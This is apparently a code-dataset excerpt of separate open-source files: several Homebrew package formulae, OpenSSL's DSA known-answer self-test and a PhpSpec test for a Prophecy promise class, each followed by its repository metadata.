class Rock < Formula desc "ooc compiler written in ooc" homepage "https://ooc-lang.org/" url "https://github.com/fasterthanlime/rock/archive/v0.9.10.tar.gz" sha256 "39ac190ee457b2ea3c650973899bcf8930daab5b9e7e069eb1bc437a08e8b6e8" head "https://github.com/fasterthanlime/rock.git" bottle do cellar :any sha256 "3f95d26a49ed30031fd77e9d0e439a6366947201dfc6fd1393ebe5e2924d13d8" => :yosemite sha256 "3236af05000a82c81e428244840ca8c2047ca9608b9855998aeb15a78fe1d9e5" => :mavericks sha256 "34308d7af495565e3b9bc274615e0e5412a3721fc538ce73f68d973b1cb23a6a" => :mountain_lion end depends_on "bdw-gc" def install # make rock using provided bootstrap ENV["OOC_LIBS"] = prefix system "make", "rescue" bin.install "bin/rock" man1.install "docs/rock.1" # install misc authorship files & rock binary in place # copy the sdk, libs and docs prefix.install "rock.use", "sdk.use", "sdk-net.use", "sdk-dynlib.use", "pcre.use", "sdk", "README.md" doc.install Dir["docs/*"] end test do (testpath/"hello.ooc").write <<-EOS.undent import os/Time Time dateTime() println() EOS system "#{bin}/rock", "--run", "hello.ooc" end end
erkolson/homebrew
Library/Formula/rock.rb
Ruby
bsd-2-clause
1,212
/* crypto/dsa/dsatest.c */ /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) * All rights reserved. * * This package is an SSL implementation written * by Eric Young (eay@cryptsoft.com). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is Tim Hudson (tjh@cryptsoft.com). * * Copyright remains Eric Young's, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * "This product includes cryptographic software written by * Eric Young (eay@cryptsoft.com)" * The word 'cryptographic' can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ /* * Until the key-gen callbacks are modified to use newer prototypes, we allow * deprecated functions for openssl-internal code */ #ifdef OPENSSL_NO_DEPRECATED # undef OPENSSL_NO_DEPRECATED #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include "../e_os.h" #include <openssl/crypto.h> #include <openssl/rand.h> #include <openssl/bio.h> #include <openssl/err.h> #include <openssl/bn.h> #ifdef OPENSSL_NO_DSA int main(int argc, char *argv[]) { printf("No DSA support\n"); return (0); } #else # include <openssl/dsa.h> # ifdef OPENSSL_SYS_WIN16 # define MS_CALLBACK _far _loadds # else # define MS_CALLBACK # endif static int MS_CALLBACK dsa_cb(int p, int n, BN_GENCB *arg); /* * seed, out_p, out_q, out_g are taken from the updated Appendix 5 to FIPS * PUB 186 and also appear in Appendix 5 to FIPS PIB 186-1 */ static unsigned char seed[20] = { 0xd5, 0x01, 0x4e, 0x4b, 0x60, 0xef, 0x2b, 0xa8, 0xb6, 0x21, 0x1b, 0x40, 0x62, 0xba, 0x32, 0x24, 0xe0, 0x42, 0x7d, 0xd3, }; static unsigned char out_p[] = { 0x8d, 0xf2, 0xa4, 0x94, 0x49, 0x22, 0x76, 0xaa, 0x3d, 0x25, 0x75, 0x9b, 0xb0, 0x68, 0x69, 0xcb, 0xea, 0xc0, 0xd8, 0x3a, 0xfb, 0x8d, 0x0c, 0xf7, 0xcb, 0xb8, 0x32, 0x4f, 0x0d, 0x78, 0x82, 0xe5, 0xd0, 0x76, 0x2f, 0xc5, 0xb7, 0x21, 0x0e, 0xaf, 0xc2, 0xe9, 0xad, 0xac, 0x32, 0xab, 0x7a, 0xac, 0x49, 0x69, 0x3d, 0xfb, 0xf8, 0x37, 0x24, 0xc2, 0xec, 0x07, 0x36, 0xee, 0x31, 0xc8, 0x02, 0x91, }; static unsigned char out_q[] = { 0xc7, 0x73, 0x21, 0x8c, 0x73, 0x7e, 0xc8, 0xee, 0x99, 0x3b, 0x4f, 0x2d, 0xed, 0x30, 0xf4, 0x8e, 0xda, 0xce, 0x91, 0x5f, }; static unsigned char out_g[] = { 0x62, 0x6d, 0x02, 0x78, 0x39, 0xea, 0x0a, 0x13, 0x41, 0x31, 0x63, 0xa5, 0x5b, 0x4c, 0xb5, 0x00, 0x29, 0x9d, 0x55, 0x22, 0x95, 0x6c, 0xef, 0xcb, 0x3b, 0xff, 0x10, 0xf3, 0x99, 0xce, 0x2c, 0x2e, 0x71, 0xcb, 0x9d, 0xe5, 0xfa, 0x24, 0xba, 0xbf, 0x58, 0xe5, 0xb7, 0x95, 0x21, 0x92, 0x5c, 0x9c, 0xc4, 0x2e, 0x9f, 0x6f, 0x46, 0x4b, 0x08, 0x8c, 0xc5, 0x72, 0xaf, 0x53, 0xe6, 0xd7, 0x88, 0x02, }; static const unsigned char str1[] = "12345678901234567890"; static const char rnd_seed[] = "string to make the random number generator think it has entropy"; static BIO *bio_err = NULL; int main(int argc, char **argv) { BN_GENCB cb; DSA *dsa = NULL; int counter, ret = 0, i, j; unsigned char buf[256]; unsigned long h; unsigned char sig[256]; unsigned int siglen; if (bio_err == NULL) bio_err = BIO_new_fp(stderr, BIO_NOCLOSE); CRYPTO_malloc_debug_init(); CRYPTO_dbg_set_options(V_CRYPTO_MDEBUG_ALL); CRYPTO_mem_ctrl(CRYPTO_MEM_CHECK_ON); ERR_load_crypto_strings(); RAND_seed(rnd_seed, sizeof rnd_seed); BIO_printf(bio_err, "test generation of DSA parameters\n"); BN_GENCB_set(&cb, dsa_cb, bio_err); if (((dsa = DSA_new()) == NULL) || !DSA_generate_parameters_ex(dsa, 512, seed, 20, &counter, &h, &cb)) goto end; BIO_printf(bio_err, "seed\n"); for (i = 0; i < 20; i += 4) { BIO_printf(bio_err, "%02X%02X%02X%02X ", seed[i], seed[i + 1], seed[i + 2], seed[i + 3]); } BIO_printf(bio_err, "\ncounter=%d h=%ld\n", counter, h); DSA_print(bio_err, dsa, 0); if (counter != 105) { BIO_printf(bio_err, "counter should be 105\n"); goto end; } if (h != 2) { BIO_printf(bio_err, "h should be 2\n"); goto end; } i = BN_bn2bin(dsa->q, buf); j = sizeof(out_q); if ((i != j) || (memcmp(buf, out_q, i) != 0)) { BIO_printf(bio_err, "q value is wrong\n"); goto end; } i = BN_bn2bin(dsa->p, buf); j = sizeof(out_p); if ((i != j) || (memcmp(buf, out_p, i) != 0)) { BIO_printf(bio_err, "p value is wrong\n"); goto end; } i = BN_bn2bin(dsa->g, buf); j = sizeof(out_g); if ((i != j) || (memcmp(buf, out_g, i) != 0)) { BIO_printf(bio_err, "g value is wrong\n"); goto end; } dsa->flags |= DSA_FLAG_NO_EXP_CONSTTIME; DSA_generate_key(dsa); DSA_sign(0, str1, 20, sig, &siglen, dsa); if (DSA_verify(0, str1, 20, sig, siglen, dsa) == 1) ret = 1; dsa->flags &= ~DSA_FLAG_NO_EXP_CONSTTIME; DSA_generate_key(dsa); DSA_sign(0, str1, 20, sig, &siglen, dsa); if (DSA_verify(0, str1, 20, sig, siglen, dsa) == 1) ret = 1; end: if (!ret) ERR_print_errors(bio_err); if (dsa != NULL) DSA_free(dsa); CRYPTO_cleanup_all_ex_data(); ERR_remove_thread_state(NULL); ERR_free_strings(); CRYPTO_mem_leaks(bio_err); if (bio_err != NULL) { BIO_free(bio_err); bio_err = NULL; } # ifdef OPENSSL_SYS_NETWARE if (!ret) printf("ERROR\n"); # endif EXIT(!ret); return (0); } static int MS_CALLBACK dsa_cb(int p, int n, BN_GENCB *arg) { char c = '*'; static int ok = 0, num = 0; if (p == 0) { c = '.'; num++; }; if (p == 1) c = '+'; if (p == 2) { c = '*'; ok++; } if (p == 3) c = '\n'; BIO_write(arg->arg, &c, 1); (void)BIO_flush(arg->arg); if (!ok && (p == 0) && (num > 1)) { BIO_printf((BIO *)arg, "error in dsatest\n"); return 0; } return 1; } #endif
sdgdsffdsfff/nginx-openresty-windows
nginx/objs/lib/openssl-1.0.2d/crypto/dsa/dsatest.c
C
bsd-2-clause
8,774
class Jed < Formula desc "JED is a powerful editor for programmers" homepage "http://www.jedsoft.org/jed/" url "http://www.jedsoft.org/releases/jed/jed-0.99-19.tar.gz" mirror "https://mirrors.kernel.org/debian/pool/main/j/jed/jed_0.99.19.orig.tar.gz" sha256 "5eed5fede7a95f18b33b7b32cb71be9d509c6babc1483dd5c58b1a169f2bdf52" bottle do sha256 "3b316c792feabf9622a70a8ccdf2d2e985e7f991dbcd49a104b2ee6b8ea078cb" => :yosemite sha256 "f0e02951e534d96baad147970e51b2f5c09155ad0e51114cfc72b3f49301dff3" => :mavericks sha256 "595aff2e43b8ec8c31626831dcab83ffe4ffc129ea85efa61bc2e35877137a29" => :mountain_lion end head do url "git://git.jedsoft.org/git/jed.git" depends_on "automake" => :build depends_on "autoconf" => :build end depends_on "s-lang" depends_on :x11 => :optional def install if build.head? cd "autoconf" do system "make" end end system "./configure", "--prefix=#{prefix}", "--with-slang=#{Formula["s-lang"].opt_prefix}" system "make" system "make", "xjed" if build.with? "x11" ENV.deparallelize system "make", "install" end test do (testpath/"test.sl").write "flush (\"Hello, world!\");" assert_equal "Hello, world!", shell_output("#{bin}/jed -script test.sl").chomp end end
alexethan/homebrew
Library/Formula/jed.rb
Ruby
bsd-2-clause
1,341
class GitCola < Formula desc "Highly caffeinated git GUI" homepage "https://git-cola.github.io/" url "https://github.com/git-cola/git-cola/archive/v2.3.tar.gz" sha256 "3319810c16f6864deb5f94f533c7cfd17f30961595454da7c3c75879f56511b3" head "https://github.com/git-cola/git-cola.git" bottle do sha256 "62e8ac62b5281dc299a7a1042f41bdf60e3a6b796a2c1bfd55cbfc2d6364b708" => :yosemite sha256 "b464caa7c1520561e0fd97afcd83faa6f81789c28108dacf0c25fed026dd1fc7" => :mavericks sha256 "b67df2e41d37a3226d4e5a5819c1c9a33cc02bf08cee321e10897ea198fde086" => :mountain_lion end option "with-docs", "Build man pages using asciidoc and xmlto" depends_on "pyqt" if build.with? "docs" # these are needed to build man pages depends_on "asciidoc" depends_on "xmlto" end def install system "make", "prefix=#{prefix}", "install" if build.with? "docs" system "make", "-C", "share/doc/git-cola", "-f", "Makefile.asciidoc", "prefix=#{prefix}", "install", "install-html" end end test do system "#{bin}/git-cola", "--version" end end
superlukas/homebrew
Library/Formula/git-cola.rb
Ruby
bsd-2-clause
1,153
class Libstrophe < Formula desc "XMPP library for C" homepage "http://strophe.im/libstrophe/" url "https://github.com/strophe/libstrophe/archive/0.8.8.tar.gz" sha256 "08f4a85ef419a8bdf08b6afa8f7b2a0e5e180fdc9c16cede81af672ec10e21e7" head "https://github.com/strophe/libstrophe.git" bottle do cellar :any sha256 "a67aa03ee2d0643b652be84252e5d33f62d7a315ff2d581dcbbb1c938c7ca9a3" => :el_capitan sha256 "73c638c2bf7572e9ff6a87b8cbe99349c25544606aba13706f6719b3cbe66d07" => :yosemite sha256 "1e874fe49c1b35f613ba86d28b53783bdf2c55d67cdd838e23d86f278657dd42" => :mavericks end depends_on "autoconf" => :build depends_on "automake" => :build depends_on "pkg-config" => :build depends_on "libtool" => :build depends_on "openssl" depends_on "check" def install # see https://github.com/strophe/libstrophe/issues/28 ENV.deparallelize system "./bootstrap.sh" system "./configure", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system "make", "install" end test do (testpath/"test.c").write <<-EOS.undent #include <strophe.h> #include <assert.h> int main(void) { xmpp_ctx_t *ctx; xmpp_log_t *log; xmpp_initialize(); log = xmpp_get_default_logger(XMPP_LEVEL_DEBUG); assert(log); ctx = xmpp_ctx_new(NULL, log); assert(ctx); xmpp_ctx_free(ctx); xmpp_shutdown(); return 0; } EOS flags = ["-I#{include}/", "-lstrophe"] system ENV.cc, "-o", "test", "test.c", *(flags + ENV.cflags.to_s.split) system "./test" end end
ablyler/homebrew
Library/Formula/libstrophe.rb
Ruby
bsd-2-clause
1,690
class Sqoop < Formula desc "Transfer bulk data between Hadoop and structured datastores" homepage "https://sqoop.apache.org/" url "https://www.apache.org/dyn/closer.cgi?path=sqoop/1.4.5/sqoop-1.4.5.bin__hadoop-2.0.4-alpha.tar.gz" version "1.4.5" sha256 "2f36ba52ae64f2f674780984aa4ed53d43565098f208a4fcbd800af664b1def9" depends_on "hadoop" depends_on "hbase" depends_on "hive" depends_on "zookeeper" def spoop_envs <<-EOS.undent export HADOOP_HOME="#{HOMEBREW_PREFIX}" export HBASE_HOME="#{HOMEBREW_PREFIX}" export HIVE_HOME="#{HOMEBREW_PREFIX}" export ZOOCFGDIR="#{etc}/zookeeper" EOS end def install libexec.install %w[bin conf lib] libexec.install Dir["*.jar"] bin.write_exec_script Dir["#{libexec}/bin/*"] # Install a sqoop-env.sh file envs = libexec/"conf/sqoop-env.sh" envs.write(spoop_envs) unless envs.exist? end def caveats; <<-EOS.undent Hadoop, Hive, HBase and ZooKeeper must be installed and configured for Sqoop to work. EOS end end
cristobal/homebrew
Library/Formula/sqoop.rb
Ruby
bsd-2-clause
1,049
require 'formula' # Originally: # homepage 'http://www.spinnaker.de/lbdb/' class Lbdb < Formula homepage 'https://github.com/tgray/lbdb/' url 'https://github.com/tgray/lbdb/archive/v0.38.2.tar.gz' sha1 '2a278fe7bffad6e7572c1c76f9568e4737c68e07' head 'https://github.com/tgray/lbdb.git' if MacOS.version >= :mountain_lion patch do url "https://github.com/chrisbarrett/lbdb/commit/db0440670194568bbfe2137fc063eb30cf26cb2a.diff" sha1 "8de0fdcfa5cd73a456b150e19cdad572aa8f0d7c" end patch do url "https://github.com/chrisbarrett/lbdb/commit/b89ac6ee50e2c03c32635269d9818c045b0abb6f.diff" sha1 "574268f5d7cce1a6dd26e973ff96787c322597a3" end patch do url "https://github.com/chrisbarrett/lbdb/commit/6cbef5feb4fd921deb08eb52b4169647909946ae.diff" sha1 "fe7024dc7576e0d885335a4829edf8dde09b22ea" end end def install system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make install" end def caveats; <<-EOS.undent lbdb from <http://www.spinnaker.de/lbdb/> doesn't build on OS X because the XCode project file is not compatible with XCode 4 or OS X 10.7. This version of lbdb has been modified to fix this. A query was sent to the upstream maintainer to see if he was interested in the patch, but so far, there has been no response. The homepage of this version is <https://github.com/tgray/lbdb/> EOS end end
kawanet/homebrew
Library/Formula/lbdb.rb
Ruby
bsd-2-clause
1,487
class Babl < Formula desc "Dynamic, any-to-any, pixel format translation library" homepage "http://www.gegl.org/babl/" url "http://download.gimp.org/pub/babl/0.1/babl-0.1.12.tar.bz2" mirror "https://mirrors.kernel.org/debian/pool/main/b/babl/babl_0.1.12.orig.tar.bz2" sha256 "2f802b7f1a17b72c10bf0fe1e69b7a888cf7ce62b7cf1537b030f7f88d55a407" bottle do sha256 "b839dc910c873b14e2c86466f3d3894c4349b8755a4231cad78e60ed85f7b4dd" => :el_capitan sha256 "db81183522e6d338475e43c2bed097b0ab5706eb24cc68c1889a673ca529e743" => :yosemite sha256 "8782f771f5efa9cbc5dcf09815b4cb078647477f56b2110e5c67517adeb5c8e3" => :mavericks sha256 "6e4ba55b1698c2edb1a006fbaa1bcaa72a8fc65007d86e21e022116a42a1bcae" => :mountain_lion end head do # Use Github instead of GNOME's git. The latter is unreliable. url "https://github.com/GNOME/babl.git" depends_on "automake" => :build depends_on "autoconf" => :build depends_on "libtool" => :build end option :universal depends_on "pkg-config" => :build def install if build.universal? ENV.universal_binary opoo "Compilation may fail at babl-cpuaccel.c using gcc for a universal build" if ENV.compiler == :gcc end system "./autogen.sh" if build.head? system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make", "install" end test do (testpath/"test.c").write <<-EOS.undent #include <babl/babl.h> int main() { babl_init(); const Babl *srgb = babl_format ("R'G'B' u8"); const Babl *lab = babl_format ("CIE Lab float"); const Babl *rgb_to_lab_fish = babl_fish (srgb, lab); babl_exit(); return 0; } EOS system ENV.cc, "-I#{include}/babl-0.1", "-L#{lib}", "-lbabl-0.1", testpath/"test.c", "-o", "test" system testpath/"test" end end
craig5/homebrew
Library/Formula/babl.rb
Ruby
bsd-2-clause
1,894
<?php namespace spec\Prophecy\Promise; use PhpSpec\ObjectBehavior; class ReturnArgumentPromiseSpec extends ObjectBehavior { function it_is_promise() { $this->shouldBeAnInstanceOf('Prophecy\Promise\PromiseInterface'); } /** * @param \Prophecy\Prophecy\ObjectProphecy $object * @param \Prophecy\Prophecy\MethodProphecy $method */ function it_should_return_first_argument_if_provided($object, $method) { $this->execute(array('one', 'two'), $object, $method)->shouldReturn('one'); } /** * @param \Prophecy\Prophecy\ObjectProphecy $object * @param \Prophecy\Prophecy\MethodProphecy $method */ function it_should_return_null_if_no_arguments_provided($object, $method) { $this->execute(array(), $object, $method)->shouldReturn(null); } /** * @param \Prophecy\Prophecy\ObjectProphecy $object * @param \Prophecy\Prophecy\MethodProphecy $method */ function it_should_return_nth_argument_if_provided($object, $method) { $this->beConstructedWith(1); $this->execute(array('one', 'two'), $object, $method)->shouldReturn('two'); } }
TheTypoMaster/SPHERE-Framework
Library/MOC-V/Component/Database/Vendor/Doctrine2ORM/2.5.0/vendor/phpspec/prophecy/spec/Prophecy/Promise/ReturnArgumentPromiseSpec.php
PHP
bsd-2-clause
1,169
class Eigen < Formula desc "C++ template library for linear algebra" homepage "http://eigen.tuxfamily.org/" url "https://bitbucket.org/eigen/eigen/get/3.2.5.tar.bz2" sha256 "5f6e6cb88188e34185f43cb819d7dab9b48ef493774ff834e568f4805d3dc2f9" bottle do cellar :any sha256 "6f3d26b12625d87f96a92c0c14745c444889377d7990aed6d43ae373e5647f42" => :yosemite sha256 "38a61f7b2d6926411b14bf93b685d35ba8648993f1f35e3fe98c024de811e310" => :mavericks sha256 "96ae43217989839b2adbc41dd43a4a02dd6346b4847b93935c5dc481091a7585" => :mountain_lion end head "https://bitbucket.org/eigen/eigen", :using => :hg depends_on "cmake" => :build option :universal def install ENV.universal_binary if build.universal? mkdir "eigen-build" do args = std_cmake_args args << "-Dpkg_config_libdir=#{lib}" << ".." system "cmake", *args system "make", "install" end (share/"cmake/Modules").install "cmake/FindEigen3.cmake" end test do (testpath/"test.cpp").write <<-EOS.undent #include <iostream> #include <Eigen/Dense> using Eigen::MatrixXd; int main() { MatrixXd m(2,2); m(0,0) = 3; m(1,0) = 2.5; m(0,1) = -1; m(1,1) = m(1,0) + m(0,1); std::cout << m << std::endl; } EOS system ENV.cxx, "test.cpp", "-I#{include}/eigen3", "-o", "test" assert_equal `./test`.split, %w[3 -1 2.5 1.5] end end
erkolson/homebrew
Library/Formula/eigen.rb
Ruby
bsd-2-clause
1,443
class OpenZwave < Formula desc "Library for selected Z-Wave PC controllers" homepage "http://www.openzwave.com" url "http://old.openzwave.com/downloads/openzwave-1.2.919.tar.gz" sha256 "473229f3dd3d6b260e6584b17e5c5f2e09e61805f89763f486a9f7aa2b4181ba" bottle do sha256 "9ceb267d8fb564daefb535f65ac71f426535f7552b9feffcb3638793f0c40810" => :yosemite sha256 "753eb6cb76dd0c170c1e84285a702fb9fb49c76aa8d59970ecea2160938f0bba" => :mavericks sha256 "be2b4c51703ee93865a6c755a4394b6271eb599ea98a7431b54d090276a0e9f7" => :mountain_lion end # Patch to build a .dylib instead of a .so # This patch has been merged upstream and can be removed after the next release: # https://code.google.com/p/open-zwave/source/detail?r=954 patch :DATA def install ENV["BUILD"] = "release" ENV["PREFIX"] = prefix system "make", "install" end test do (testpath/"test.cpp").write <<-EOS.undent #include <iostream> #include "Options.h" int main() { OpenZWave::Options::Create("", "", ""); return 0; } EOS system ENV.cxx, "-o", "test", "-I", prefix/"include/openzwave", "-lopenzwave", "test.cpp" system "./test" end end __END__ diff --git a/cpp/build/Makefile b/cpp/build/Makefile index 24df4f5..b064029 100644 --- a/cpp/build/Makefile +++ b/cpp/build/Makefile @@ -23,16 +23,24 @@ top_srcdir := $(abspath $(dir $(lastword $(MAKEFILE_LIST)))../../) include $(top_srcdir)/cpp/build/support.mk +#Mac prefers a dylib, not a so +ifeq ($(UNAME),Darwin) +SHARED_LIB_NAME=libopenzwave-$(VERSION).dylib +SHARED_LIB_UNVERSIONED=libopenzwave.dylib +else +SHARED_LIB_NAME=libopenzwave.so.$(VERSION) +SHARED_LIB_UNVERSIONED=libopenzwave.so +endif #if we are on a Mac, add these flags and libs to the compile and link phases ifeq ($(UNAME),Darwin) CFLAGS += -c -DDARWIN -arch i386 -arch x86_64 -LDFLAGS += -arch i386 -arch x86_64 +LDFLAGS += -arch i386 -arch x86_64 -dynamiclib LIBS += -framework IOKit -framework CoreFoundation -arch i386 -arch x86_64 else ifeq ($(UNAME),FreeBSD) CFLAGS += -I/usr/local/include else -LDFLAGS += -Wl,-soname,libopenzwave.so.$(VERSION) +LDFLAGS += -shared -Wl,-soname,$(SHARED_LIB_NAME) LIBS += -ludev endif @@ -74,10 +82,10 @@ indep := $(notdir $(filter-out $(top_srcdir)/cpp/src/vers.cpp, $(wildcard $(top_ aes := $(notdir $(wildcard $(top_srcdir)/cpp/src/aes/*.c)) -default: $(LIBDIR)/libopenzwave.a $(LIBDIR)/libopenzwave.so.$(VERSION) +default: $(LIBDIR)/libopenzwave.a $(LIBDIR)/$(SHARED_LIB_NAME) clean: - @rm -rf $(DEPDIR) $(OBJDIR) $(LIBDIR)/libopenzwave.so* $(LIBDIR)/libopenzwave.a $(top_builddir)/libopenzwave.pc $(top_builddir)/docs/api $(top_builddir)/Doxyfile + @rm -rf $(DEPDIR) $(OBJDIR) $(LIBDIR)/libopenzwave.so* $(LIBDIR)/libopenzwave-*.dylib $(LIBDIR)/libopenzwave.a $(top_builddir)/libopenzwave.pc $(top_builddir)/docs/api $(top_builddir)/Doxyfile -include $(patsubst %.cpp,$(DEPDIR)/%.d,$(tinyxml)) @@ -110,7 +118,7 @@ $(LIBDIR)/libopenzwave.a: $(patsubst %.cpp,$(OBJDIR)/%.o,$(tinyxml)) \ @$(AR) $@ $+ @$(RANLIB) $@ -$(LIBDIR)/libopenzwave.so.$(VERSION): $(patsubst %.cpp,$(OBJDIR)/%.o,$(tinyxml)) \ +$(LIBDIR)/$(SHARED_LIB_NAME): $(patsubst %.cpp,$(OBJDIR)/%.o,$(tinyxml)) \ $(patsubst %.c,$(OBJDIR)/%.o,$(hidapi)) \ $(patsubst %.c,$(OBJDIR)/%.o,$(aes)) \ $(patsubst %.cpp,$(OBJDIR)/%.o,$(cclasses)) \ @@ -120,7 +128,7 @@ $(LIBDIR)/libopenzwave.so.$(VERSION): $(patsubst %.cpp,$(OBJDIR)/%.o,$(tinyxml)) $(OBJDIR)/vers.o @echo "Linking Shared Library" - @$(LD) $(LDFLAGS) -shared -o $@ $+ $(LIBS) - @ln -sf libopenzwave.so.$(VERSION) $(LIBDIR)/libopenzwave.so + @$(LD) $(LDFLAGS) -o $@ $+ $(LIBS) + @ln -sf $(SHARED_LIB_NAME) $(LIBDIR)/$(SHARED_LIB_UNVERSIONED) ifeq ($(PKGCONFIG),) $(top_builddir)/libopenzwave.pc: $(top_srcdir)/cpp/build/libopenzwave.pc.in @@ -155,10 +163,10 @@ doc: $(top_builddir)/Doxyfile @cd $(top_builddir); $(DOXYGEN) endif -install: $(LIBDIR)/libopenzwave.so.$(VERSION) doc $(top_builddir)/libopenzwave.pc +install: $(LIBDIR)/$(SHARED_LIB_NAME) doc $(top_builddir)/libopenzwave.pc install -d $(DESTDIR)/$(instlibdir)/ - cp $(LIBDIR)/libopenzwave.so.$(VERSION) $(DESTDIR)/$(instlibdir)/libopenzwave.so.$(VERSION) - ln -sf libopenzwave.so.$(VERSION) $(DESTDIR)/$(instlibdir)/libopenzwave.so + cp $(LIBDIR)/$(SHARED_LIB_NAME) $(DESTDIR)/$(instlibdir)/$(SHARED_LIB_NAME) + ln -sf $(SHARED_LIB_NAME) $(DESTDIR)/$(instlibdir)/$(SHARED_LIB_UNVERSIONED) install -d $(DESTDIR)/$(includedir) install -m 0644 $(top_srcdir)/cpp/src/*.h $(DESTDIR)/$(includedir) install -d $(DESTDIR)/$(includedir)/command_classes/ diff --git a/cpp/examples/MinOZW/Makefile b/cpp/examples/MinOZW/Makefile index 0f1fd50..3805a39 100644 --- a/cpp/examples/MinOZW/Makefile +++ b/cpp/examples/MinOZW/Makefile @@ -19,7 +19,7 @@ top_srcdir := $(abspath $(dir $(lastword $(MAKEFILE_LIST)))../../../) INCLUDES := -I $(top_srcdir)/cpp/src -I $(top_srcdir)/cpp/tinyxml/ -I $(top_srcdir)/cpp/hidapi/hidapi/ -LIBS = $(wildcard $(LIBDIR)/*.so $(top_builddir)/*.so $(top_builddir)/cpp/build/*.so ) +LIBS = $(wildcard $(LIBDIR)/*.so $(LIBDIR)/*.dylib $(top_builddir)/*.so $(top_builddir)/*.dylib $(top_builddir)/cpp/build/*.so $(top_builddir)/cpp/build/*.dylib ) LIBSDIR = $(abspath $(dir $(firstword $(LIBS)))) minozwsrc := $(notdir $(wildcard $(top_srcdir)/cpp/examples/MinOZW/*.cpp)) VPATH := $(top_srcdir)/cpp/examples/MinOZW
okuramasafumi/homebrew
Library/Formula/open-zwave.rb
Ruby
bsd-2-clause
5,428
class Unrtf < Formula desc "RTF to other formats converter" homepage "https://www.gnu.org/software/unrtf/" url "http://ftpmirror.gnu.org/unrtf/unrtf-0.21.9.tar.gz" mirror "https://ftp.gnu.org/gnu/unrtf/unrtf-0.21.9.tar.gz" sha256 "22a37826f96d754e335fb69f8036c068c00dd01ee9edd9461a36df0085fb8ddd" bottle do sha256 "42737f31a7ea06592c2ad22a48f0e2537c0cd025129870399bd4f0fbe7362a98" => :yosemite sha256 "852bd896c8537489400e646ed41f2876079e124203e493cfc1e2d7f51d024726" => :mavericks sha256 "7e680da7a4c4da9ed3b21f04e5125721cf506cc9579a2e95b4635078b0606cb2" => :mountain_lion end head "http://hg.savannah.gnu.org/hgweb/unrtf/", :using => :hg depends_on "automake" => :build depends_on "autoconf" => :build def install system "./bootstrap" system "./configure", "LIBS=-liconv", "--prefix=#{prefix}" system "make", "install" end test do (testpath/"test.rtf").write <<-'EOS'.undent {\rtf1\ansi {\b hello} world } EOS expected = <<-EOS.undent <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <!-- Translation from RTF performed by UnRTF, version #{version} --> </head> <body><b>hello</b> world</body> </html> EOS assert_equal expected, shell_output("#{bin}/unrtf --html test.rtf") end end
gyaresu/homebrew
Library/Formula/unrtf.rb
Ruby
bsd-2-clause
1,423
class Tinycdb < Formula desc "Create and read constant databases" homepage "http://www.corpit.ru/mjt/tinycdb.html" url "http://www.corpit.ru/mjt/tinycdb/tinycdb-0.78.tar.gz" sha256 "50678f432d8ada8d69f728ec11c3140e151813a7847cf30a62d86f3a720ed63c" bottle do cellar :any sha256 "d73abbd1439c1579c3ab925d2110fee60f287bb9b262850e030c74f7c356bcaa" => :yosemite sha256 "b35dda3e5219c993140f7ed6244f483b0159cbd4458fb3ee4461e25daa368d41" => :mavericks sha256 "cc08f9c7d8ab18de0f547d6790ebef51ad0984e82ed99e8d2cb7567725ca8eb5" => :mountain_lion end def install system "make" system "make", "install", "prefix=#{prefix}", "mandir=#{man}" end test do (testpath/"test.c").write <<-EOS.undent #include <stdio.h> #include <fcntl.h> #include <cdb.h> int main() { struct cdb_make cdbm; int fd; char *key = "test", *val = "homebrew"; unsigned klen = 4, vlen = 8; fd = open("#{testpath}/db", O_RDWR|O_CREAT); cdb_make_start(&cdbm, fd); cdb_make_add(&cdbm, key, klen, val, vlen); cdb_make_exists(&cdbm, key, klen); cdb_make_finish(&cdbm); return 0; } EOS system ENV.cc, "test.c", "-L#{lib}", "-lcdb", "-o", "test" system "./test" end end
chfast/homebrew
Library/Formula/tinycdb.rb
Ruby
bsd-2-clause
1,326
